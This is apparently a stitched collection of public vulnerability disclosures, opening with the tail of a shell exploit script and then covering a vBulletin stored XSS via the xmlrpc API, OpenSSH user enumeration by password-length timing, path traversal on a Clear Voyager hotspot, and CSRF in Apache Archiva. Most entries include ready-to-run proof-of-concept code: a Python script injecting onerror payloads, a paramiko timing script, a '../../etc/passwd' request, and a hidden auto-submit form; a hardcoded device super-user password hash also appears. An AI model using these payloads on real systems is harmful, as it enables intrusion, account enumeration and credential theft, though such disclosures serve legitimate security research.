    print urllib2.urlopen(TRIGGER_URL)   
    print "[    ] shell died!"
    print "-- quit --"
            
CVE-2014-2021 - vBulletin 5.x/4.x - persistent XSS in AdminCP/ApiLog via xmlrpc API (post-auth)
================================================================================================

Overview
--------

	date    :  10/12/2014  
	cvss    :  4.6 (AV:N/AC:H/Au:S/C:P/I:P/A:P) base
	cwe     :  79 
	
	vendor  : vBulletin Solutions
	product : vBulletin 4
	versions affected :  latest 4.x and 5.x (to date); verified <= 4.2.2  ; <= 5.0.x
			* vBulletin 5.0.5	  (verified)
			* vBulletin 4.2.2     (verified)  
			* vBulletin 4.2.1     (verified)  
			* vBulletin 4.2.0 PL2 (verified)  
				
	exploitability :
			* remotely exploitable
			* requires authentication (apikey)
			* requires non-default features to be enabled (API interface, API-Logging)
			* requires user interaction to trigger exploit (admincp - admin views logs)
				
	patch availability (to date) :  None


Abstract
---------
 
	vBulletin 4/5 does not properly sanitize client provided xmlrpc attributes (e.g. client name)
    allowing the remote xmlrpc client to inject code into the xmlrpc API logging page. 
	Code is executed once an admin visits the API log page and clicks on the API clients name.
	
	risk:  rather low - due to the fact that you the api key is required
		   you can probably use CVE-2014-2023 to obtain the api key


Details
--------
	
	vulnerable component: 
		./admincp/apilog.php?do=viewclient
	apilog.php does not sanitize xmlrpc client provided data before passing it to
	print_label_row to generate the output page.


Proof of Concept (PoC)
----------------------

	see https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021
	
	
	1) prerequisites
	1.1) enable API, generate API-key
		 logon to AdminCP
		 goto "vBulletin API"->"API-Key" and enable the API interface, generate key
		 goto "vBulletin API"->"API-Log" and enable all API logging
	2) run PoC
		 edit PoC to match your TARGET, APIKEY (, optionally DEBUGLEVEL)
		 run PoC, wait for SUCCESS! message
	3) trigger exploit
	     logon to AdminCP
		 goto "vBulletin API"->"API-Log" and hit "view"
		 in search results click on "client name"
		 the injected msgbox pops up
		 

Timeline
--------

	2014-01-14: initial vendor contact - no reply
	2014-01-24: vendor contact - no reply
	2014-10-13: public disclosure
	
Contact
--------

	tintinweb - https://github.com/tintinweb/pub/tree/master/pocs/cve-2014-2021
	
	
(0x721427D8)


- - - 


#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import urllib2, cookielib, urllib, json, hashlib

class Exploit(object):
    
    baseurl = None
    cookies = None
    
    def __init__(self,baseurl,params, debuglevel=1):
        self.cookies = cookielib.LWPCookieJar()
        handlers = [
                    urllib2.HTTPHandler(debuglevel=debuglevel),
                    urllib2.HTTPSHandler(debuglevel=debuglevel),
                    urllib2.HTTPCookieProcessor(self.cookies)
                    ]
        self.browser = urllib2.build_opener(*handlers)
        self.baseurl=baseurl
        self.params = params
    
    def call(self,path="",data={}):
        assert(isinstance(data,dict))
        data = urllib.urlencode(data)

        req = urllib2.Request("%s%s"%(self.baseurl,path),data)
        req.add_header("Content-Type", "application/x-www-form-urlencoded")

        return self.browser.open(req)
    
    def call_json(self,path=None,data={}):
        try:
            x=self.call(path,data).read()
            print "raw_response", x
            resp =  json.loads(x)
        except urllib2.HTTPError, he:
            resp = he.read()
        return resp


    def vb_init_api(self):
        params = {'api_m':'api_init'}
        params.update(self.params)
        data = self.call_json("?%s"%(urllib.urlencode(params)))  
        self.session = data
        return data
    
    def vb_call(self, params):
        api_sig = self._vb_build_api_sig(params)
        req_params = self._vb_build_regstring(api_sig)
        params.update(req_params)
        data = self.call_json("?%s"%(urllib.urlencode(params)),data=params)
        if not isinstance(data, dict):
            return data
        if 'errormessage' in data['response'].keys():
            raise Exception(data)
        return data

    def _ksort(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( "%s=%s"%(key,value))
        return "&".join(ret)

    def _ksort_urlencode(self, d):
        ret = []
        for key, value in [(k,d[k]) for k in sorted(d.keys())]:
            ret.append( urllib.urlencode({key:value}))
        return "&".join(ret)

    def _vb_build_api_sig(self, params):
        apikey = self.params['apikey']
        login_string = self._ksort_urlencode(params)
        access_token = str(self.session['apiaccesstoken'])
        client_id = str(self.session['apiclientid'])
        secret = str(self.session['secret'])
        return hashlib.md5(login_string+access_token+client_id+secret+apikey).hexdigest()
    
    def _vb_build_regstring(self, api_sig):
        params = {
                  'api_c':self.session['apiclientid'],
                  'api_s':self.session['apiaccesstoken'],
                  'api_sig':api_sig,
                  'api_v':self.session['apiversion'],
                  }
        return params
    

if __name__=="__main__":
    TARGET = "http://localhost:8008/sectest/vbulletin_5/api.php"
    APIKEY = "G4YvWVhp"
    DEBUGLEVEL = 0          # 1 to enable request tracking

    print "vBulletin 5.x / 4.x - XSS in API"
    ### 1. XSS
    '''
    vbulletin: admincp => settings: options => vbulletin API and Mobile Application Options
                        * enable vbulletin API =       yes
                        * enable API log =             yes
    
    xss in:
        1)    http://xxxx/vb/admincp/apistats.php?do=client
        2)    click on hex<video><source/**/onerror='alert(1)'>hex
        2.1)  e.g.  http://xxxx/vb/admincp/apilog.php?do=viewclient&apiclientid=1
    
    '''
    params = {'clientname':"hex<video><source/**/onerror='alert(/clientname_1/)'>hex1",
             'clientversion':"hex<video><source/**/onerror='alert(2)'>hex2",
             'platformname':"hex<video><source/**/onerror='alert(3)'>hex3",
             'platformversion':"hex<video><source/**/onerror='alert(4)'>hex4",
             'uniqueid':"hex<video><source/**/onerror='alert(5)'>hex5",
             'apikey':APIKEY} 

    print "[  1 ] - xss - inject alert() to admincp"
    x = Exploit(baseurl=TARGET,params=params,debuglevel=DEBUGLEVEL)
    vars = x.vb_init_api()
    print vars
    
    """
$calls = array(
    'methods' => array(
        'login_login', 'api_init'
         ),
    'login_login' => array(
        'POST' => array(
            'vb_login_username' => 'admin',
            'vb_login_password' => 'password',
        ),
    ),
    'api_init' => array(
        'sessionhash' => '{session.dbsessionhash}'
    )
);
    
    """
    print "[*] GOT SESSIONHASH:",vars.get('sessionhash','<no-sessiohash>')
    
    '''
    calls = {'methods':['api_init'],
             'api_init':{
                         'sessionhash':vars['sessionhash']
                         }}
    '''
    # just a dummy call
    x.vb_call(params={'api_m':'api_forumlist',
                      'type':'t',
                      'x':"1"})
    print "[   *] SUCCESS! - now make an admin visit %s/admincp/apilog.php?do=viewclient&apiclientid=%s to trigger the XSS :)"%("/".join(TARGET.split("/")[:-1]),vars['apiclientid'])
    print "-- quit --"
            
Source: http://seclists.org/fulldisclosure/2016/Jul/51

--------------------------------------------------------------------
User Enumeration using Open SSHD (<=Latest version).
-------------------------------------------------------------------

Abstract:
-----------
By sending large passwords, a remote user can enumerate users on system that runs SSHD. This problem exists in most 
modern configuration due to the fact that it takes much longer to calculate SHA256/SHA512 hash than BLOWFISH hash.

CVE-ID
---------
CVE-2016-6210

Tested versions
--------------------
This issue was tested on : opensshd-7.2p2 ( should be possible on most earlier versions as well).

Fix
-----------------
This issue was reported to OPENSSH developer group and they have sent a patch ( don't know if patch was released yet).
(thanks  to  'dtucker () zip com au' for his quick reply and fix suggestion).

Details
----------------
When SSHD tries to authenticate a non-existing user, it will pick up a fake password structure hardcoded in the SSHD 
source code. On this hard coded  password  structure  the password hash is based on BLOWFISH ($2) algorithm.
If real users passwords are hashed using SHA256/SHA512, then sending large passwords (10KB)  will result in shorter 
response time from the server for non-existing users.

Sample code:
----------------
import paramiko
import time
user=raw_input("user: ")
p='A'*25000
ssh = paramiko.SSHClient()
starttime=time.clock()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
        ssh.connect('127.0.0.1', username=user,
        password=p)
except:
        endtime=time.clock()
total=endtime-starttime
print(total)

(Valid users will result in higher total time).

*** please note that if SSHD configuration prohibits root login , then root is not considered as valid user...

*** when TCP timestamp option is enabled the best way to measure the time would be using timestamps from the TCP 
packets of the server, since this will eliminate any network delays on the way.

Eddie Harari
            
- # Exploit Title: clear voyager hotspot IMW-C910W - file disclosure
- # Date: 2016/jul/15
- # Exploit Author: Damaster
- # Vendor Homepage: https://www.sprint.com/
- # Software Link: https://web.archive.org/web/20150526042938/http://www.clearwire.com/downloads/IMW-C910W_V2234_R4383A.bin
- # Version: R4383
-  
- poc : http://192.168.1.1/cgi-bin/getlog.cgi?filename=../../etc/passwd
-  
- vulnerable Device Software Version : R4383
-  
- super user password
- =================
- file : /etc/httpd/super.htpasswd
- content : super:YBfFG25mEAdSg
- =================
            
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Apache Archiva
Vendor URL:     https://archiva.apache.org
Type:           Cross-Site Request Forgery [CWE-253]
Date found:     2016-05-31
Date published: 2016-07-11
CVSSv3 Score:   5.4 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)
CVE:            CVE-2016-4469


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Apache Archiva v1.3.9
older versions may be affected too.


4. INTRODUCTION
===============
Apache Archiva is an extensible repository management software that helps
taking care of your own personal or enterprise-wide build artifact
repository. It is the perfect companion for build tools such as Maven,
Continuum, and ANT.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The application basically offers a Cross-Site Request Forgery protection
using the a Struts-based token called "token". While many administrative
functionalities like adding new users are protected on this way, the
following HTTP POST-based functions are missing this token and are
therefore vulnerable to CSRF:

Adding new repository proxy connectors:
/archiva/admin/addProxyConnector_commit.action

Adding new repositories:
/archiva/admin/addRepository_commit.action

Editing existing repositories:
/archiva/admin/editRepository_commit.action

Adding legacy artifact paths:
/archiva/admin/addLegacyArtifactPath_commit.action

Changing the organizational appearance:
/archiva/admin/saveAppearance.action

Uploading new artifacts:
/archiva/upload_submit.action


The following Proof-of-Concept triggers this vulnerability and adds a new
proxy connector called "CSRF":


<html>
  <body>
    <form
action="http://localhost:8080/archiva/admin/addProxyConnector_commit.action"
method="POST">
      <input type="hidden" name="pattern" value="" />
      <input type="hidden" name="connector&#46;order" value="0" />
      <input type="hidden" name="connector&#46;proxyId"
value="&#40;direct&#32;connection&#41;" />
      <input type="hidden" name="connector&#46;sourceRepoId" value="CSRF" />
      <input type="hidden" name="connector&#46;targetRepoId"
value="maven2&#45;repository&#46;dev&#46;java&#46;net" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;propagate&#45;errors&#45;on&#45;update&apos;&#93;"
value="always" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;cache&#45;failures&apos;&#93;"
value="no" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;releases&apos;&#93;"
value="always" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;propagate&#45;errors&apos;&#93;"
value="stop" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;checksum&apos;&#93;" value="fail" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;snapshots&apos;&#93;"
value="always" />
      <input type="hidden" name="propertyKey" value="" />
      <input type="hidden" name="propertyValue" value="" />
      <input type="hidden" name="blackListPattern" value="" />
      <input type="hidden" name="whiteListPattern" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


6. RISK
=======
To successfully exploit this vulnerability a user with administrative rights
must be tricked into visiting an arbitrary website while having an
authenticated session in the application.

The vulnerability allows remote attackers to perform sensitive
administrative actions like adding new repository proxy connectors, adding
new repositories, editing existing repositories, adding legacy artifact
paths, changing the organizational appearance or uploading new artifacts in
the authentication context of the targeted user.


7. SOLUTION
===========
Upgrade/Migrate to Apache Archiva 2.2.1


8. REPORT TIMELINE
==================
2016-05-31: Discovery of the vulnerability
2016-05-31: Notified vendor via public security mail address
2016-06-06: No response, sent out another notification
2016-06-10: Vendor states that this version is out of support
2016-06-21: Vendor assigns CVE-2016-4469
2016-07-11: Advisory released


9. REFERENCES
=============
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4469